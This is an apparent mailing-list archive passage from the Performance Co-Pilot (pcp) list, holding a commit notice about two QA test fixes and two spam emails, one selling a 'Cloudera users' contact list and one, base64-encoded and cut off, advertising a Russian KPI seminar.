A2DUCQAVYg5YEA0CmAENTx4YB4MdAQEBAQF1KlOGcrQEH4g/AQIBAQEBAQIGAQEBAQEBAQE3hVF+BwYCJgJFJwYCAQG8S2eNKYEHhzMIh2OCOIJbBYhEkVCGKpNyhXmNBoQBgTKFFl6HWgEBAQ Received: from unknown (HELO [192.168.43.221]) ([1.152.2.13]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Oct 2016 06:07:20 +1030 To: pcp@oss.sgi.com Subject: pcp updates: small qa tweaks From: Ken McDonell X-ASG-Orig-Subj: pcp updates: small qa tweaks Message-ID: Date: Tue, 25 Oct 2016 06:37:18 +1100 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1477337842 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 868 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.34002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Changes committed to git://git.pcp.io/kenj/pcp master Ken McDonell (2): qa/297: wait for pmcd and pmlogger after restart qa/365: after pmcd restart, need to wait for primary pmlogger as well qa/297 | 3 ++- qa/365 | 45 +++++++++++++++++++++++---------------------- 2 files changed, 25 insertions(+), 23 deletions(-) Details ... commit f8baf482ef14f80fe77daaa18be3807a14eff214 Author: Ken McDonell Date: Fri Oct 21 16:43:31 2016 +1100 qa/365: after pmcd restart, need to wait for primary pmlogger as well Caught by runnng ./870 --check in the check.callback script. commit 4d2241ce71ac45c8a45de0aa0f24584e86e253e7 Author: Ken McDonell Date: Fri Oct 21 16:29:05 2016 +1100 qa/297: wait for pmcd and pmlogger after restart Much safer than sleep 4! From sallie.morris@b2bmicrodata.com Thu Oct 27 10:49:18 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0297D7CA7 for ; Thu, 27 Oct 2016 10:49:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AF045304039 for ; Thu, 27 Oct 2016 08:49:14 -0700 (PDT) X-ASG-Debug-ID: 1477583345-0bf57b1e918c1de0001-S8gJnT Received: from IND01-MA1-obe.outbound.protection.outlook.com (mail-ma1ind01on0136.outbound.protection.outlook.com [104.47.100.136]) by cuda.sgi.com with ESMTP id DQI7r4EUf4Ug14Th (version=TLSv1.2 cipher=ECDHE-RSA-AES256-SHA384 bits=256 verify=NO) for ; Thu, 27 Oct 2016 08:49:07 -0700 (PDT) X-Barracuda-Envelope-From: sallie.morris@b2bmicrodata.com X-Barracuda-Effective-Source-IP: mail-ma1ind01on0136.outbound.protection.outlook.com[104.47.100.136] X-Barracuda-Apparent-Source-IP: 104.47.100.136 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=NETORGFT2129303.onmicrosoft.com; s=selector1-b2bmicrodata-com; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version; bh=3jp5sjbh4lvp6MTijLqGGIgaA5qaBMHtZsZlZByqQwk=; b=M3iWcRLkhE4esfzucCC4G0UZJMJrkzrS9dqRI1amOBJzWjTI1ZLCSQmkwEi/h67z6yTsbM/r9c67Z2PBO9ggx/f66HWAMJ3n6iCJP027NjrwmOk3J68iAWmkg25gpx3L2pRqCo092DiVqhARdw0xJQMEJTEG0Ed8gb0sF1lzgkU= Received: from MAXPR01MB0124.INDPRD01.PROD.OUTLOOK.COM (10.164.149.17) by MAXPR01MB0122.INDPRD01.PROD.OUTLOOK.COM (10.164.149.15) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.679.12; Thu, 27 Oct 2016 15:49:03 +0000 Received: from MAXPR01MB0124.INDPRD01.PROD.OUTLOOK.COM ([10.164.149.17]) by MAXPR01MB0124.INDPRD01.PROD.OUTLOOK.COM ([10.164.149.17]) with mapi id 15.01.0679.015; Thu, 27 Oct 2016 15:49:03 +0000 From: Sallie Morris To: "pcp@oss.sgi.com" Subject: Cloudera 2016 Update Client List Thread-Topic: Cloudera 2016 Update Client List X-ASG-Orig-Subj: Cloudera 2016 Update Client List Thread-Index: AdIwaXw2T8iW6PF5R4ivr8S/uJR6LA== Disposition-Notification-To: Sallie Morris Date: Thu, 27 Oct 2016 15:47:46 +0000 Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: authentication-results: spf=none (sender IP is ) smtp.mailfrom=sallie.morris@b2bmicrodata.com; x-originating-ip: [49.207.51.142] x-ms-office365-filtering-correlation-id: aaff5686-313f-4929-49e0-08d3fe80c6cb x-microsoft-exchange-diagnostics: 1;MAXPR01MB0122;7:M97T8v+5qdALgxHbrnakDmi5Y5Ts4oh66jMPVS62CgswPwUwiM+XR31ih87NTLMcw1vASUfvZt9MKNYX3JiP8HF4VlTMd4+MEuX53j8Q7455iz6rUw/2F6+H0m7/9iRvDLJWPDv0dJX2nwg4ov+OxWFTM+OHAWd8IorvaGQsmXVIOzcDaT7KdZmGm9685N0iMUrKTHA5+0N2My2a57+ilkyUvK4CwZKNdbaaOVbx5B13wVr6MbPErUfhFgKAPTiCPZj8MhFhn/jJdqMyQywseU1mCJcwgeV0xy7G0Zf+mXL3RbGKc85PyxfeB5gkxDU9GiHWGPb5Qws2bXP4wHZHaDU6cW78FDpO+GDzIWLwTQs= x-microsoft-antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:MAXPR01MB0122; x-microsoft-antispam-prvs: x-exchange-antispam-report-test: UriScan:(21748063052155); x-exchange-antispam-report-cfa-test: BCL:0;PCL:0;RULEID:(6040176)(2401047)(5005006)(8121501046)(3002001)(10201501046)(6042046)(6043046);SRVR:MAXPR01MB0122;BCL:0;PCL:0;RULEID:;SRVR:MAXPR01MB0122; x-forefront-prvs: 0108A997B2 x-forefront-antispam-report: SFV:NSPM;SFS:(10019020)(6009001)(7916002)(199003)(189002)(7110500001)(189998001)(101416001)(15650500001)(2420400007)(450100001)(6666003)(19300405004)(3660700001)(92566002)(122556002)(10710500007)(54356999)(5002640100001)(3280700002)(16236675004)(2906002)(586003)(2900100001)(66066001)(9686002)(110136003)(97736004)(102836003)(81166006)(3846002)(68736007)(1730700003)(6116002)(6916009)(790700001)(81156014)(10400500002)(50986999)(8676002)(107886002)(19580395003)(77096005)(9326002)(7696004)(15975445007)(5660300001)(19625215002)(33656002)(7736002)(2351001)(229853001)(2501003)(8936002)(87936001)(105586002)(86362001)(11100500001)(106356001)(74316002)(7846002);DIR:OUT;SFP:1102;SCL:1;SRVR:MAXPR01MB0122;H:MAXPR01MB0124.INDPRD01.PROD.OUTLOOK.COM;FPR:;SPF:None;PTR:InfoNoRecords;A:1;MX:1;LANG:en; received-spf: None (protection.outlook.com: b2bmicrodata.com does not designate permitted sender hosts) spamdiagnosticoutput: 1:99 spamdiagnosticmetadata: NSPM Content-Type: multipart/alternative; boundary="_000_MAXPR01MB01244B5054824605F7525760C5AA0MAXPR01MB0124INDP_" MIME-Version: 1.0 X-OriginatorOrg: b2bmicrodata.com X-MS-Exchange-CrossTenant-originalarrivaltime: 27 Oct 2016 15:47:46.3810 (UTC) X-MS-Exchange-CrossTenant-fromentityheader: Hosted X-MS-Exchange-CrossTenant-id: 7b507c10-a1d3-439a-b89a-4be538d72a86 X-MS-Exchange-Transport-CrossTenantHeadersStamped: MAXPR01MB0122 X-Barracuda-Connect: mail-ma1ind01on0136.outbound.protection.outlook.com[104.47.100.136] X-Barracuda-Start-Time: 1477583347 X-Barracuda-Encrypted: ECDHE-RSA-AES256-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 4363 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.34097 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --_000_MAXPR01MB01244B5054824605F7525760C5AA0MAXPR01MB0124INDP_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi, I am writing to you in regards to our recent list release, and check if you= would be interested in acquiring recently verified Cloudera 2016 Update Bu= siness List. Every contact from this database has completed verification on the 25th of = September 2016 to give you 95%+ accuracy and ensure your message reaches th= e right contact from the right company. Note: If Cloudera Users are not relevant to you, please reply with your tar= get criteria and/or the industries you'd like to target for your marketing = campaigns. Please review and let me know your thoughts. Regards, Debra Berk Business Data Analyst If you don't wish to receive emails from us, please reply back= stating "REMOVE". --_000_MAXPR01MB01244B5054824605F7525760C5AA0MAXPR01MB0124INDP_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi,  &nbs= p;       

I am writing to you in regards to our recent list release, and check if you= would be interested in acquiring recently verified Cloudera
2016 Update Business List.

Every contact from this database has completed verification on the = 25th of September 2016 to give you 95%+ accuracy&n= bsp;and ensure your message reaches the right contact from the righ= t company.

=  

Note: If Cloudera Users are not relevant to you, please reply with = your target criteria and/or the industries you'd like to target f= or your marketing campaigns.


Please review and let me know your thoughts.


Regards, 

Debra Berk

Business Data Analy= st

             If you don't wish to receive emails from= us, please reply back stating "REMOVE".

 

 

--_000_MAXPR01MB01244B5054824605F7525760C5AA0MAXPR01MB0124INDP_-- From mposashkova@inbox.ru Thu Oct 27 14:54:40 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 685967CA7 for ; Thu, 27 Oct 2016 14:54:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33BEA304071 for ; Thu, 27 Oct 2016 12:54:37 -0700 (PDT) X-ASG-Debug-ID: 1477598069-0bf57c7e2182cbd0001-S8gJnT Received: from mxs.mail.ru (d40a90b3.rev.stofanet.dk [212.10.144.179]) by cuda.sgi.com with ESMTP id aXJ1yQua74UEYhLK for ; Thu, 27 Oct 2016 12:54:29 -0700 (PDT) X-Barracuda-Envelope-From: mposashkova@inbox.ru X-Barracuda-Effective-Source-IP: d40a90b3.rev.stofanet.dk[212.10.144.179] X-Barracuda-Apparent-Source-IP: 212.10.144.179 MIME-Version: 1.0 Date: Thu, 27 Oct 2016 22:54:31 +0300 Message-ID: <786880154.20161027225431@IGPXZLSWJOVR> Subject: =?utf-8?B?S1BJLdCc0LXQvdC10LTQttC80LXQvdGC?= From: "=?utf-8?B?0KDQsNC30YDQsNCx0L7RgtC60LAg0YHQuNGB0YLQtdC80YsgS1BJIA==?=" X-ASG-Orig-Subj: =?utf-8?B?S1BJLdCc0LXQvdC10LTQttC80LXQvdGC?= To: pcp@oss.sgi.com Content-Type: multipart/alternative; boundary=----------4810B11115F459F5 X-Barracuda-Connect: d40a90b3.rev.stofanet.dk[212.10.144.179] X-Barracuda-Start-Time: 1477598069 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 11854 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.34106 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message ------------4810B11115F459F5 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 KiAqICAgIDgtOSDQvdC+0Y/QsdGA0Y8gKNGBIDEwOjAwINC00L4gMTc6MzApIHwg0LMu0JzQvtGB 0LrQstCwIHwg0JDRgNGC0LjQutGD0Ls6IDU3Nw0KDQoqDQoNCioNCg0KDQoNCirQkNC60LrRgNC1 0LTQuNGC0L7QstCw0L3QvdGL0Lkg0KPRh9C10LHQvdGL0Lkg0YbQtdC90YLRgCDQv9GA0LjQs9C7 0LDRiNCw0LXRgiDQvdCwINC+0LHRg9GH0LXQvdC40LUg0L/QviDRgtC10LzQtToqDQrQoNCw0LfR gNCw0LHQvtGC0LrQsCDQuCDQstC90LXQtNGA0LXQvdC40LUg0L/QvtC60LDQt9Cw0YLQtdC70LXQ uSBLUEksINCc0JLQniDQuCBCU0MuDQoNCg0KKtCc0LXRgdGC0L4g0L/RgNC+0LLQtdC00LXQvdC4 0Y86Kg0K0LwuINCR0LDRg9C80LDQvdGB0LrQsNGPLCDRg9C7LiDQkdCw0YPQvNCw0L3RgdC60LDR jywg0LQuNiwg0LHQuNC30L3QtdGBINGG0LXQvdGC0YAgItCS0LjQutGC0L7RgNC40Y8g0J/Qu9Cw 0LfQsCIuDQoNCirQktGB0Y8g0LjQvdGC0LXRgNC10YHRg9GO0YnQsNGPINCS0LDRgSDQuNC90YTQ vtGA0LzQsNGG0LjRjyDQuCDRgNC10LPQuNGB0YLRgNCw0YbQuNGPINC/0L4g0YLQtdC7LjogKg0K OCDQutC+0LQg0LPQvtGA0L7QtNCwICg0OTUpINGCLiAgOTYxLTAwLTM4ICjQvNC90L7Qs9C+0LrQ sNC90LDQu9GM0L3Ri9C5KQ0KDQrQktGLINC80L7QttC10YLQtSDRg9GH0LDRgdGC0LLQvtCy0LDR gtGMINCyINC+0LHRg9GH0LXQvdC40Lgg0LrQsNC6INC+0YIg0LrQvtC80L/QsNC90LjQuCwg0YLQ sNC6INC4INC60LDQuiDRh9Cw0YHRgtC90L7QtSDQu9C40YbQvi4NCijQv9C+0LbQsNC70YPQudGB 0YLQsCDQvdC1INC+0YLQstC10YfQsNC50YLQtSDQvdCwINC+0LHRgNCw0YLQvdGL0Lkg0LDQtNGA 0LXRgSDRjdC7LtC/0L7Rh9GC0YspDQoNCirQptC10LvQtdCy0LDRjyDQsNGD0LTQuNGC0L7RgNC4 0Y86Kg0K0YDRg9C60L7QstC+0LTQuNGC0LXQu9C10Lkg0Lgg0YHQv9C10YbQuNCw0LvQuNGB0YLQ vtCyLCDQvtGC0LLQtdGH0LDRjtGJ0LjRhSDQt9CwINC+0YDQs9Cw0L3QuNC30LDRhtC40L7QvdC9 0L7QtSDRgNCw0LfQstC40YLQuNC1LA0K0YDRg9C60L7QstC+0LTQuNGC0LXQu9C10Lkg0LgNCtGB 0L/QtdGG0LjQsNC70LjRgdGC0L7QsiDQsiDQvtCx0LvQsNGB0YLQuCDRg9C/0YDQsNCy0LvQtdC9 0LjRjyDQv9C10YDRgdC+0L3QsNC70L7QvCwg0YDRg9C60L7QstC+0LTQuNGC0LXQu9C10Lkg0LrQ vtC80L/QsNC90LjQuSDQuA0K0YHQvtCx0YHRgtCy0LXQvdC90LjQutC+0LINCtCx0LjQt9C90LXR gdCwLg0KDQoq0KbQtdC70Yw6ICoNCi0g0L7RgdCy0L7QuNGC0Ywg0LzQtdGC0L7QtNGLINC4INC4 0L3RgdGC0YDRg9C80LXQvdGC0Ysg0YPQv9GA0LDQstC70LXQvdC40Y8g0L/QviDRgNC10LfRg9C7 0YzRgtCw0YLQsNC8LA0KLSDQv9C+0LvRg9GH0LjRgtGMINCz0L7RgtC+0LLRi9C1INC90LDRgNCw 0LHQvtGC0LrQuCDQuCDRgNC10YjQtdC90LjRjyDQuNC3INC/0YDQsNC60YLQuNC60Lgg0YDQvtGB 0YHQuNC50YHQutC40YUg0Lgg0LfQsNC/0LDQtNC90YvRhQ0K0LrQvtC80L/QsNC90LjQuSwNCi0g 0YPQt9C90LDRgtGMINCw0LvQs9C+0YDQuNGC0Lwg0YDQsNC30YDQsNCx0L7RgtC60Lgg0YHQsdCw 0LvQsNC90YHQuNGA0L7QstCw0L3QvdC+0Lkg0YHQuNGB0YLQtdC80Ysg0L/QvtC60LDQt9Cw0YLQ tdC70LXQuSAo0KHQodCfKSwNCi0g0L7RgtGA0LDQsdC+0YLQsNGC0Ywg0L3QsNCy0YvQuiDQuNC9 0YLQtdCz0YDQsNGG0LjQuCDRgdGC0YDQsNGC0LXQs9C40YfQtdGB0LrQuNGFINGG0LXQu9C10Lkg 0Lgg0L/QvtC60LDQt9Cw0YLQtdC70LXQuQ0K0YDQtdC30YPQu9GM0YLQsNGC0LjQstC90L7RgdGC 0LgsDQotINC/0L7Qu9GD0YfQuNGC0Ywg0L/RgNCw0LrRgtC40YfQtdGB0LrQuNC1INC40L3RgdGC 0YDRg9C80LXQvdGC0Ysg0LTQtdC60L7QvNC/0L7Qt9C40YbQuNC4INGG0LXQu9C10Lkg0Lgg0L/Q vtC60LDQt9Cw0YLQtdC70LXQuSwNCi0g0L7RgdCy0L7QuNGC0Ywg0LzQtdGF0LDQvdC40LfQvCDQ v9GA0LjQstGP0LfQutC4INC/0YDQtdC80LjQuCDQuiDQstGL0L/QvtC70L3QtdC90LjRjiDRhtC1 0LvQtdC5LA0KLSDRg9C30L3QsNGC0Ywg0L/RgNCw0LrRgtC40YfQtdGB0LrQuNC1INC/0L7QtNGF 0L7QtNGLINC6INCy0L3QtdC00YDQtdC90LjRjiDRgdC40YHRgtC10LzRiyDRg9C/0YDQsNCy0LvQ tdC90LjRjyDQv9C+INGA0LXQt9GD0LvRjNGC0LDRgtCw0LwNCtC90LAg0L7RgdC90L7QstC1DQrQ odCh0J8uDQoNCg0K0JrRgNCw0YLQutCw0Y8g0L/RgNC+0LPRgNCw0LzQvNCwOg0KDQoqMS4g0J/Q vtGB0YLQsNC90L7QstC60LAg0LrQu9GO0YfQtdCy0YvRhSDQv9C+0LrQsNC30LDRgtC10LvQtdC5 INGN0YTRhNC10LrRgtC40LLQvdC+0YHRgtC4IChLUEkpOioNCi0g0KLQtdGF0L3QvtC70L7Qs9C4 0Y8g0LLRi9Cx0L7RgNCwINC/0L7QutCw0LfQsNGC0LXQu9C10Lkg0Lgg0YPRgdGC0LDQvdC+0LLQ u9C10L3QuNC1INCy0LXRgdC+0LIgS1BJLg0KLSDQo9GA0L7QstC90Lgg0LTQvtGB0YLQuNC20LXQ vdC40Y8gS1BJLg0KLSDQoNCw0LfRgNCw0LHQvtGC0LrQsCDQutCw0YDRgtGLIEtQSS4NCi0g0J/R gNC40LzQtdGA0Ysg0LrQsNGA0YIg0L/QvtC60LDQt9Cw0YLQtdC70LXQuSDQtNC70Y8g0YDQsNC3 0LvQuNGH0L3Ri9GFINC/0L7QtNGA0LDQt9C00LXQu9C10L3QuNC5INC4INC00L7Qu9C20L3QvtGB 0YLQtdC5Lg0KLSDQn9GA0LjQsdC+0YDQvdGL0LUg0L/QsNC90LXQu9C4INC00LvRjyDQvNC+0L3Q uNGC0L7RgNC40L3Qs9CwINC/0L7QutCw0LfQsNGC0LXQu9C10LkgKGRhc2hib2FyZHMpLg0KDQoq Mi4g0J/RgNC10LzQuNGA0L7QstCw0L3QuNC1INC90LAg0L7RgdC90L7QstC1IEtQSToqDQotINCf 0YDQuNCy0Y/Qt9C60LAg0L/RgNC10LzQuNC4INC6IEtQSTog0YPRgNC+0LLQvdC4INC4INGA0LXQ utC+0LzQtdC90LTRg9C10LzRi9C5INC/0YDQvtGG0LXQvdGCINC/0YDQtdC80LjQuCwg0YXQsNGA 0LDQutGC0LXRgA0K0LfQsNCy0LjRgdC40LzQvtGB0YLQuA0K0L/RgNC10LzQuNC4INC+0YIg0L/Q vtC60LDQt9Cw0YLQtdC70Y8uDQotINCS0YvQsdC+0YAg0L/QtdGA0LjQvtC00LjRh9C90L7RgdGC 0Lgg0L/RgNC10LzQuNGA0L7QstCw0L3QuNGPLg0KLSDQn9GA0LjQvNC10YDRiyDQv9GA0LXQvNC4 0LDQu9GM0L3Ri9GFINC/0LvQsNC90L7QsiDQvdCwINC+0YHQvdC+0LLQtSBLUEkuDQotINCg0LDR gdGH0LXRgiDQuCDQv9C70LDQvdC40YDQvtCy0LDQvdC40LUg0YTQvtC90LTQsCDQv9GA0LXQvNC4 0YDQvtCy0LDQvdC40Y8uDQoNCiozLiDQoNCw0LfRgNCw0LHQvtGC0LrQsCDRgdCx0LDQu9Cw0L3R gdC40YDQvtCy0LDQvdC90L7QuSDRgdC40YHRgtC10LzRiyDQv9C+0LrQsNC30LDRgtC10LvQtdC5 IChCU0MpOioNCi0g0JjRgdGC0L7RgNC40Y8g0Lgg0L/RgNC40L3RhtC40L/RiyDRgNCw0LHQvtGC 0YsgQlNDLg0KLSDQkNC70LPQvtGA0LjRgtC8INGB0L7Qt9C00LDQvdC40Y8g0YHRgtGA0LDRgtC1 0LPQuNGH0LXRgdC60L7QuSDQutCw0YDRgtGLLg0KLSDQodGG0LXQvdCw0YDQuNC5INGB0YLRgNCw 0YLQtdCz0LjRh9C10YHQutC+0Lkg0YHQtdGB0YHQuNC4INC/0L4g0YDQsNC30YDQsNCx0L7RgtC6 0LUgQlNDLg0KLSDQn9GA0LjQvNC10YDRiyBCU0Mg0LTQu9GPINGA0LDQt9C70LjRh9C90YvRhSDQ vtGC0YDQsNGB0LvQtdC5INC4INGE0YPQvdC60YbQuNC+0L3QsNC70YzQvdGL0YUg0L/QvtC00YDQ sNC30LTQtdC70LXQvdC40LkuDQoNCio0LiDQlNC10LrQvtC80L/QvtC30LjRhtC40Y8g0YHRgtGA 0LDRgtC10LPQuNGH0LXRgdC60LjRhSDRhtC10LvQtdC5INC+0YDQs9Cw0L3QuNC30LDRhtC40Lg6 Kg0KLSDQntGB0L3QvtCy0Ysg0YbQtdC70LXQstC+0LPQviDRg9C/0YDQsNCy0LvQtdC90LjRjyAo TUJPKS4NCi0g0JTQtdGA0LXQstC+INGG0LXQu9C10Lkg0LrQvtC80L/QsNC90LjQuC4NCi0g0J/R gNC40L3RhtC40L/RiyDQtNC10LrQvtC80L/QvtC30LjRhtC40Lgg0YbQtdC70LXQuS4NCi0g0JfQ sNC60YDQtdC/0LvQtdC90LjQtSDRhtC10LvQtdC5INC30LAg0YTRg9C90LrRhtC40Y/QvNC4INC4 INC40YHQv9C+0LvQvdC40YLQtdC70Y/QvNC4LCDQvNCw0YLRgNC40YbQsCDRhtC10LvQtdC5Lg0K LSDQoNCw0LfRgNCw0LHQvtGC0LrQsCDQvNC10YDQvtC/0YDQuNGP0YLQuNC5INC/0L4g0LTQvtGB 0YLQuNC20LXQvdC40Y4g0YbQtdC70LXQuSDQuCDQv9C70LDQvdCwINC00LXQudGB0YLQstC40Lku DQoNCio1LiDQoNC10LrQvtC80LXQvdC00LDRhtC40Lgg0L/QviDQstC90LXQtNGA0LXQvdC40Y4u Kg0KLSDQn9C+0LTQstC+0LTQvdGL0LUg0LrQsNC80L3QuCDQv9GA0Lgg0LLQvdC10LTRgNC10L3Q uNC4INGB0LjRgdGC0LXQvNGLINGD0L/RgNCw0LLQu9C10L3QuNGPINGN0YTRhNC10LrRgtC40LLQ vdC+0YHRgtGM0Y4uDQotINCS0L3Rg9GC0YDQtdC90L3QuNC1INC60L7QvNC80YPQvdC40LrQsNGG 0LjQuCDRgSDRgdC+0YLRgNGD0LTQvdC40LrQsNC80LguDQotINCb0YPRh9GI0LjQtSDQv9GA0LDQ utGC0LjQutC4INCy0L3QtdC00YDQtdC90LjRjy4NCg0KKtCj0YfQsNGB0YLQuNC1OiAqMjIgOG9v INGA0YPQsS4NCtCS0YXQvtC00LjRgiDQvNC10YLQvtC00LjRh9C10YHQutC40Lkg0LzQsNGC0LXR gNC40LDQuywg0L7QsdC10LTRiywg0LrQvtGE0LUt0L/QsNGD0LfRiy4NCirQn9C+INC+0LrQvtC9 0YfQsNC90LjRjiDQt9Cw0L3Rj9GC0LjRjyDQktCw0Lwg0L/RgNC10LTQvtGB0YLQsNCy0LvRj9C1 0YLRgdGPINGB0LXRgNGC0LjRhNC40LrQsNGCLioNCtCY0L3QvtCz0L7RgNC+0LTQvdC40Lwg0YPR h9Cw0YHRgtC90LjQutCw0Lwg0L/QvtC80L7Qs9Cw0LXQvCDQsiDQsdGA0L7QvdC40YDQvtCy0LDQ vdC40Lgg0LPQvtGB0YLQuNC90LjRhtGLLg0K ------------4810B11115F459F5 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 PGRpdiBkaXI9Imx0ciI+PHRhYmxlIGJvcmRlcj0iMCIgc3R5bGU9ImZvbnQtZmFtaWx5OiZxdW90 O3RpbWVzIG5ldyByb21hbiZxdW90OyI+PHRib2R5Pjx0cj48dGQ+PGRpdiBhbGlnbj0iY2VudGVy Ij48dGFibGUgYm9yZGVyPSIwIj48dGJvZHk+PHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9y PSIjRkY2NjAwIj48Zm9udCBmYWNlPSJDYW1icmlhIiBjb2xvcj0iIzMzMzMzMyI+KjwvZm9udD48 L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRkY2NjAwIj48Zm9udCBmYWNlPSJDYW1i cmlhIiBjb2xvcj0iIzMzMzMzMyI+KjwvZm9udD48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj48Zm9u dCBmYWNlPSJDYW1icmlhIj7CoMKgwqA8Zm9udCBzaXplPSI0Ij44LTkg0L3QvtGP0LHRgNGPwqA8 L2ZvbnQ+PGZvbnQgc2l6ZT0iMiI+KNGBIDEwOjAwINC00L4gMTc6MzApPC9mb250Pjxmb250IHNp emU9IjQiPsKgfCDQsy7QnNC+0YHQutCy0LAgfCDQkNGA0YLQuNC60YPQuzogNTc3PC9mb250PsKg wqA8L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0iI0ZGNjYwMCI+PHAgYWxpZ249ImNlbnRlciI+PGZv bnQgZmFjZT0iQ2FtYnJpYSIgY29sb3I9IiMzMzMzMzMiPio8L2ZvbnQ+PC9wPjwvdGQ+PHRkIGJn Y29sb3I9IiNGRjY2MDAiPjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IkNhbWJyaWEiIGNv bG9yPSIjMzMzMzMzIj4qPC9mb250PjwvcD48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjx0YWJs ZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIj48dGJvZHk+PHRyPjx0ZCBiZ2NvbG9yPSIjRkZGRkND Ij7CoDwvdGQ+PHRkPsKgPC90ZD48dGQgYmdjb2xvcj0iI0ZGRkZDQyI+wqA8L3RkPjwvdHI+PHRy Pjx0ZCBjb2xzcGFuPSIzIj48cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJDYW1icmlhIj48 Yj7QkNC60LrRgNC10LTQuNGC0L7QstCw0L3QvdGL0Lkg0KPRh9C10LHQvdGL0Lkg0YbQtdC90YLR gCDQv9GA0LjQs9C70LDRiNCw0LXRgiDQvdCwINC+0LHRg9GH0LXQvdC40LUg0L/QviDRgtC10LzQ tTo8YnI+PC9iPjxicj48Zm9udCBzaXplPSI1IiBjb2xvcj0iI0NDMDAwMCI+0KDQsNC30YDQsNCx 0L7RgtC60LAg0Lgg0LLQvdC10LTRgNC10L3QuNC1INC/0L7QutCw0LfQsNGC0LXQu9C10LkgS1BJ LCDQnNCS0J4g0LggQlNDLjwvZm9udD48L2ZvbnQ+PC9wPjwvdGQ+PC90cj48dHI+PHRkIGJnY29s b3I9IiNGRkZGQ0MiPsKgPC90ZD48dGQ+wqA8L3RkPjx0ZCBiZ2NvbG9yPSIjRkZGRkNDIj7CoDwv dGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PHAgYWxpZ249ImxlZnQiPjxmb250IGZhY2U9IkNhbWJy aWEiPjxiPtCc0LXRgdGC0L4g0L/RgNC+0LLQtdC00LXQvdC40Y86PC9iPjxicj7QvC4g0JHQsNGD 0LzQsNC90YHQutCw0Y8sINGD0LsuINCR0LDRg9C80LDQvdGB0LrQsNGPLCDQtC42LCDQsdC40LfQ 